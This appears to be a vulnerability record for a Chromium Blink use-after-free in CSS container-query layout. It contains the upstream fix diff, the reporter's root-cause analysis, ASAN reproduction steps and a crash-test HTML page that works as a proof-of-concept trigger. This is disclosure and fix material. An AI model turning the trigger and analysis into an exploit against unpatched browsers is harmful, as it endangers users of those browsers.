Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in CSS
DescriptionUse after free in CSS
ComponentCSS
Bug ClassUAF
Tracker491994185
Fix commitc215f8e6f049 (chromium/src) +47/-2
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Disclosed2026-04-15

Changed Functions

FunctionChangeNotes
for
third_party/blink/renderer/core/frame/local_frame_view.cc
modified
if
third_party/blink/renderer/core/frame/local_frame_view.cc
modified
Unordered
third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.cc
modified

Files Changed

  • third_party/blink/renderer/core/frame/local_frame_view.cc
  • third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.cc
  • third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.h
  • third_party/blink/web_tests/external/wpt/css/css-conditional/container-queries/crashtests/chrome-bug-491994185-crash.html
From c215f8e6f0492ef6840b43ab2657be2eafbeda1f Mon Sep 17 00:00:00 2001
From: Anders Hartvoll Ruud <andruud@chromium.org>
Date: Tue, 17 Mar 2026 18:43:46 -0700
Subject: [PATCH] Iterate on copy of layout subtree roots during LFV::PerformLayout()

During iteration of LocalFrameView::layout_subtree_root_list_
in PerformLayout(), we can do interleaved style and layout tree
building due to e.g. container queries. Such layout tree rebuilds
can destroy the LayoutObjects being subtree roots,
and call LocalFrameView::ClearLayoutSubtreeRoot() in the process,
modifying layout_subtree_root_list_ during the iteration.

To fix this, iterate on a copy of the layout subtree roots instead.
Note that even though we do clear layout_subtree_root_list_ immediately
after iteration, we can not just std::move the list to a local,
since we need to discover (and skip) the roots that were removed
during previous iterations.

Fixed: 491994185
Change-Id: I729e3df6e938533467ff4d45e66c666fe27a83c0
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7669842
Commit-Queue: Anders Hartvoll Ruud <andruud@chromium.org>
Reviewed-by: Morten Stenshorne <mstensho@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1600948}
---

diff --git a/third_party/blink/renderer/core/frame/local_frame_view.cc b/third_party/blink/renderer/core/frame/local_frame_view.cc
index 3e8c8cc2..f11dd3cb 100644
--- a/third_party/blink/renderer/core/frame/local_frame_view.cc
+++ b/third_party/blink/renderer/core/frame/local_frame_view.cc
@@ -756,9 +756,17 @@
           ++add_result.stored_value->value;
         }
       }
-      for (auto& root : layout_subtree_root_list_.Ordered()) {
-        bool should_rebuild_fragments = false;
+      HeapVector<LayoutObjectWithDepth> ordered_roots =
+          layout_subtree_root_list_.Ordered();
+      for (LayoutObjectWithDepth& root : ordered_roots) {
         LayoutObject& root_layout_object = *root;
+        if (!layout_subtree_root_list_.Contains(root_layout_object)) {
+          // A previous iteration removed the entry from the list.
+          // This can happen when interleaved style recalc sets the element
+          // associated the layout subtree root to display:none.
+          continue;
+        }
+        bool should_rebuild_fragments = false;
         LayoutBox* container_box = root->ContainingNGBox();
         if (container_box) {
           auto it = fragment_tree_spines.find(container_box);
diff --git a/third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.cc b/third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.cc
index f4df5f1..36d51800 100644
--- a/third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.cc
+++ b/third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.cc
@@ -93,6 +93,10 @@
   return depth;
 }
 
+bool DepthOrderedLayoutObjectList::Contains(LayoutObject& object) const {
+  return Unordered().Contains(&object);
+}
+
 const HeapHashSet<Member<LayoutObject>>&
 DepthOrderedLayoutObjectList::Unordered() const {
   return data_->objects();
diff --git a/third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.h b/third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.h
index c22ce8c..94d953c 100644
--- a/third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.h
+++ b/third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.h
@@ -59,6 +59,7 @@
   int size() const;
   CORE_EXPORT bool IsEmpty() const;
 
+  bool Contains(LayoutObject&) const;
   const HeapHashSet<Member<LayoutObject>>& Unordered() const;
   const HeapVector<LayoutObjectWithDepth>& Ordered();
 
diff --git a/third_party/blink/web_tests/external/wpt/css/css-conditional/container-queries/crashtests/chrome-bug-491994185-crash.html b/third_party/blink/web_tests/external/wpt/css/css-conditional/container-queries/crashtests/chrome-bug-491994185-crash.html
new file mode 100644
index 0000000..cf27c578
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/css-conditional/container-queries/crashtests/chrome-bug-491994185-crash.html
@@ -0,0 +1,32 @@
+<!DOCTYPE html>
+<title>Crash Test: Layout subtree root becoming display:none</title>
+<link rel="help" href="https://issues.chromium.org/issues/491994185">
+<style>
+  #container {
+    container-type: inline-size;
+  }
+  @container (min-width: 300px) {
+    #victim { display: none; }
+  }
+</style>
+<div style="contain:strict;">
+  <div id="herring"></div>
+</div>
+<div>
+  <div style="contain:strict; width:400px;">
+    <div id="containerResizer" style="width:10px;">
+      <div id="container">
+        <div id="victim" style="contain:strict;">
+          <div id="innerElm"></div>
+        </div>
+      </div>
+    </div>
+  </div>
+</div>
+<script>
+  document.body.offsetTop;
+  innerElm.style.height = '40px';
+  herring.style.height = '60px';
+  containerResizer.style.width = '400px';
+  document.body.offsetTop;
+</script>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/css/css-conditional/container-queries/crashtests/chrome-bug-491994185-crash.html b/third_party/blink/web_tests/external/wpt/css/css-conditional/container-queries/crashtests/chrome-bug-491994185-crash.html
new file mode 100644
index 0000000..cf27c578
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/css-conditional/container-queries/crashtests/chrome-bug-491994185-crash.html
@@ -0,0 +1,32 @@
+<!DOCTYPE html>
+<title>Crash Test: Layout subtree root becoming display:none</title>
+<link rel="help" href="https://issues.chromium.org/issues/491994185">
+<style>
+  #container {
+    container-type: inline-size;
+  }
+  @container (min-width: 300px) {
+    #victim { display: none; }
+  }
+</style>
+<div style="contain:strict;">
+  <div id="herring"></div>
+</div>
+<div>
+  <div style="contain:strict; width:400px;">
+    <div id="containerResizer" style="width:10px;">
+      <div id="container">
+        <div id="victim" style="contain:strict;">
+          <div id="innerElm"></div>
+        </div>
+      </div>
+    </div>
+  </div>
+</div>
+<script>
+  document.body.offsetTop;
+  innerElm.style.height = '40px';
+  herring.style.height = '60px';
+  containerResizer.style.width = '400px';
+  document.body.offsetTop;
+</script>
Loading diff…

Original Bug Report

reported by je...@gmail.com

Iterator Invalidation in LayoutSubtreeRootList During Container Query Interleaved Style Recalc Leads to Use-After-Free

Iterator Invalidation in LayoutSubtreeRootList During Container Query Interleaved Style Recalc Leads to Use-After-Free

Summary

A use-after-free vulnerability exists in the Blink layout engine where LocalFrameView::PerformLayout() iterates over a HeapVector of subtree layout roots using a live range-for loop. During this iteration, an interleaved style recalculation triggered by a CSS container query can destroy a queued LayoutObject, causing DepthOrderedLayoutObjectList::Remove() to call ordered_objects_.clear(). This immediately frees the backing store of the vector being iterated, leaving the loop’s iterators dangling. The subsequent iteration dereferences poisoned memory. The bug is platform-independent and is triggered entirely from JavaScript via standard DOM and CSSOM APIs. No special hardware or GPU is required.

Bisect

Introducing Commit: CL 2627411 (2021-01-15, https://chromium-review.googlesource.com/c/chromium/src/+/2627411)

This commit wired UpdateStyleAndLayoutTreeForSizeContainer() into BlockNode::Layout(), creating the interleaved style recalc path that runs during layout. Once this path exists, a container query result change during PerformLayout() can trigger RebuildLayoutTree(), destroy a queued LayoutObject, and call DepthOrderedLayoutObjectList::Remove() while the range-for loop is iterating the internal vector.

Root Cause

LocalFrameView::PerformLayout() processes pending subtree layout roots by iterating directly over the internal HeapVector returned by DepthOrderedLayoutObjectList::Ordered():

// third_party/blink/renderer/core/frame/local_frame_view.cc:756-780
for (auto& root : layout_subtree_root_list_.Ordered()) {
    bool should_rebuild_fragments = false;
    LayoutObject& root_layout_object = *root;
    LayoutBox* container_box = root->ContainingNGBox();
    // ...
    if (!LayoutFromRootObject(*root))
      continue;
    // ...
}
layout_subtree_root_list_.Clear();

The Ordered() method returns a const reference to ordered_objects_, an internal cached HeapVector<LayoutObjectWithDepth>. The range-for loop captures begin() and end() iterators that point directly into this vector’s backing store.

During LayoutFromRootObject(), the layout engine may enter a container query interleaved style recalc via BlockNode::Layout() calling StyleEngine::UpdateStyleAndLayoutTreeForSizeContainer(). If the container query result changes, this triggers RecalcStyleForSizeContainer() followed by RebuildLayoutTree(), which can change an element’s computed display to none and destroy its LayoutObject. The destruction chain is:

// third_party/blink/renderer/core/layout/layout_object.cc:3965-4011
void LayoutObject::WillBeDestroyed() {
  // ...
  Remove();
  // ...
  if (LocalFrameView* view = GetFrameView()) {
    view->ClearLayoutSubtreeRoot(*this);   // calls into Remove() below
    // ...
  }
}

ClearLayoutSubtreeRoot() delegates to DepthOrderedLayoutObjectList::Remove(), which erases the object from the hash set and unconditionally clears the ordered vector:

// third_party/blink/renderer/core/layout/depth_ordered_layout_object_list.cc:70-77
void DepthOrderedLayoutObjectList::Remove(LayoutObject& object) {
  auto it = data_->objects().find(&object);
  if (it == data_->objects().end())
    return;
  DCHECK(ListModificationAllowedFor(object));
  data_->objects().erase(it);
  data_->ordered_objects().clear();   // frees the HeapVector backing store
}

The clear() call chains through ShrinkCapacity(0), HeapAllocator::FreeVectorBacking(), and ultimately cppgc::subtle::FreeUnreferencedObject(), which zeroes the memory and calls ASAN_POISON_MEMORY_REGION(). This is not a deferred garbage collection; the backing store is immediately freed and poisoned. The range-for loop’s captured iterators now point into freed memory, and the next iteration performs a read from the poisoned region.

The only guard is ListModificationAllowedFor(), which is a DCHECK that evaluates to a no-op in Release builds. In Release, the interleaved style recalc sets InInterleavedStyleRecalc() to true, so the DCHECK would pass even in Debug, making this reachable on all build configurations.

There is a telling asymmetry in the code. UpdateLayout(), which calls PerformLayout(), copies the ordered list into a local variable for tracing purposes just before entering layout:

// third_party/blink/renderer/core/frame/local_frame_view.cc:830-839
HeapVector<LayoutObjectWithDepth> layout_roots;
// ...
layout_roots = layout_subtree_root_list_.Ordered();  // copy

Yet PerformLayout() itself iterates the live internal reference, not a snapshot. Had it iterated a copy, the clear() inside Remove() would invalidate only the internal cache, not the iteration.

Reproduce

This issue was tested on Chromium commit f51a685e768b6 on Linux (x86_64). No source modifications are required; the bug reproduces on a stock ASAN build. All platforms are affected.

To prepare the build, check out the commit and configure an ASAN release build. A minimal args.gn for out/asan-release is shown below.

is_asan = true
is_debug = false
is_component_build = true
symbol_level = 1

Compile with autoninja -C out/asan-release chrome. Launch Chrome with the attached PoC. The renderer process will crash within a few seconds.

ASAN_OPTIONS=detect_odr_violation=0 \
  ~/chromium/src/out/asan-release/chrome \
  --no-sandbox --disable-gpu \
  --user-data-dir=/tmp/poc-$(date +%s) \
  poc.html

ASAN output

==2242985==ERROR: AddressSanitizer: use-after-poison on address 0x7aec00409898 at pc 0x7f035e77569c bp 0x7fff37f44d30 sp 0x7fff37f44d28
READ of size 4 at 0x7aec00409898 thread T0 (chrome)
    #0 0x7f035e77569b in blink::LocalFrameView::PerformLayout() v8/include/cppgc/internal/member-storage.h:92:58
    #1 0x7f035e776c2b in blink::LocalFrameView::UpdateLayout() third_party/blink/renderer/core/frame/local_frame_view.cc:848:3
    #2 0x7f035e796036 in blink::LocalFrameView::UpdateStyleAndLayoutInternal() third_party/blink/renderer/core/frame/local_frame_view.cc:3427:7
    #3 0x7f035e780463 in blink::LocalFrameView::UpdateStyleAndLayout() third_party/blink/renderer/core/frame/local_frame_view.cc:3353:18
    #4 0x7f036100b411 in blink::Document::UpdateStyleAndLayout(blink::DocumentUpdateReason) third_party/blink/renderer/core/dom/document.cc:3091:17
    #5 0x7f036100e1b3 in blink::Document::UpdateStyleAndLayoutForNode(blink::Node const*, blink::DocumentUpdateReason) third_party/blink/renderer/core/dom/document.cc:2914:3
    #6 0x7f035ed97b7b in blink::HTMLElement::offsetWidthForBinding() third_party/blink/renderer/core/html/html_element.cc:3555:17
    #7 0x7f03466d96c7 in blink::(anonymous namespace)::v8_html_element::OffsetWidthAttributeGetCallback(v8::FunctionCallbackInfo<v8::Value> const&) gen/third_party/blink/renderer/bindings/modules/v8/v8_html_element.cc:684:39
    #8 0x7b03140106a3  (<unknown module>)
    #9 0x7b0314021274  (<unknown module>)
    #10 0x7b03141bcf4c  (<unknown module>)
    #11 0x7b031400e83b  (<unknown module>)
    #12 0x7b031400b5db  (<unknown module>)
    #13 0x7b031400b32a  (<unknown module>)
    #14 0x7f034e72246e in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/simulator.h:216:12
    #15 0x7f034e71ffde in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>) v8/src/execution/execution.cc:532:10
    #16 0x7f034e2f807a in v8::Function::Call(v8::Isolate*, v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) v8/src/api/api.cc:5573:27
    #17 0x7f035d0f6350 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*) third_party/blink/renderer/bindings/core/v8/v8_script_runner.cc:855:48
    #18 0x7f035cf4977b in blink::bindings::CallbackInvokeHelper<blink::CallbackFunctionWithTaskAttributionBase, (blink::bindings::CallbackInvokeHelperMode)0, (blink::bindings::CallbackReturnTypeIsPromise)0>::Call(int, v8::Local<v8::Value>*) third_party/blink/renderer/bindings/core/v8/callback_invoke_helper.cc:126:12
    #19 0x7f0361758b22 in blink::V8FrameRequestCallback::Invoke(blink::bindings::V8ValueOrScriptWrappableAdapter, double) gen/third_party/blink/renderer/bindings/core/v8/v8_frame_request_callback.cc:62:13
    #20 0x7f0361759cc1 in blink::V8FrameRequestCallback::InvokeAndReportException(blink::bindings::V8ValueOrScriptWrappableAdapter, double) gen/third_party/blink/renderer/bindings/core/v8/v8_frame_request_callback.cc:111:15
    #21 0x7f035deae1a8 in blink::FrameRequestCallbackCollection::ExecuteFrameCallbacks(double, double) third_party/blink/renderer/core/dom/frame_request_callback_collection.cc
    #22 0x7f0360256e39 in blink::PageAnimator::ServiceScriptedAnimations(base::TimeTicks, ...) third_party/blink/renderer/core/page/page_animator.cc:292:28
    #23 0x7f0360253c79 in blink::PageAnimator::ServiceScriptedAnimations(base::TimeTicks) third_party/blink/renderer/core/page/page_animator.cc:110:3
    #24 0x7f0360246c11 in blink::Page::Animate(base::TimeTicks) third_party/blink/renderer/core/page/page.cc:1542:14
    #25 0x7f035e9094c6 in blink::WebFrameWidgetImpl::BeginMainFrame(viz::BeginFrameArgs const&) third_party/blink/renderer/core/frame/web_frame_widget_impl.cc:2665:14
    #26 0x7f0355e85904 in blink::WidgetBase::BeginMainFrame(viz::BeginFrameArgs const&) third_party/blink/renderer/platform/widget/widget_base.cc:1071:12
    #27 0x7f039f477982 in cc::ProxyMain::BeginMainFrame(std::__Cr::unique_ptr<cc::BeginMainFrameAndCommitState, std::__Cr::default_delete<cc::BeginMainFrameAndCommitState>>) cc/trees/proxy_main.cc:318:21
    #28 0x7f039f46eba2 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #29 0x7f03b1760c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #30 0x7f03b17e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #31 0x7f03b17e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
    #32 0x7f03b16033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
    #33 0x7f03b17e37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
    #34 0x7f03b16cb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
    #35 0x7f03a740de85 in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:364:16
    #36 0x7f03a7860bb7 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:664:14
    #37 0x7f03a7861d7e in content::RunOtherNamedProcessTypeMain(...) content/app/content_main_runner_impl.cc:771:12
    #38 0x7f03a78642da in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1150:10
    #39 0x7f03a785ea63 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:358:36
    #40 0x7f03a785edea in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:371:10
    #41 0x55f0556d1c15 in ChromeMain chrome/app/chrome_main.cc:191:12
    #42 0x7f0340229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

Address 0x7aec00409898 is a wild pointer inside of access range of size 0x000000000004.
SUMMARY: AddressSanitizer: use-after-poison v8/include/cppgc/internal/member-storage.h:92:58 in blink::LocalFrameView::PerformLayout()
Shadow bytes around the buggy address:
  0x7aec00409780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7aec00409800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7aec00409880: 00 00 f7[f7]00 00 00 00 00 00 00 00 00 00 00 00
  0x7aec00409900: 00 00 f7 f7 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte f7 = Poisoned by user

Credit

Please use c6eed09fc8b174b0f3eebedcceb1e792 as the credit for this vulnerability. Thank you.

View on issue tracker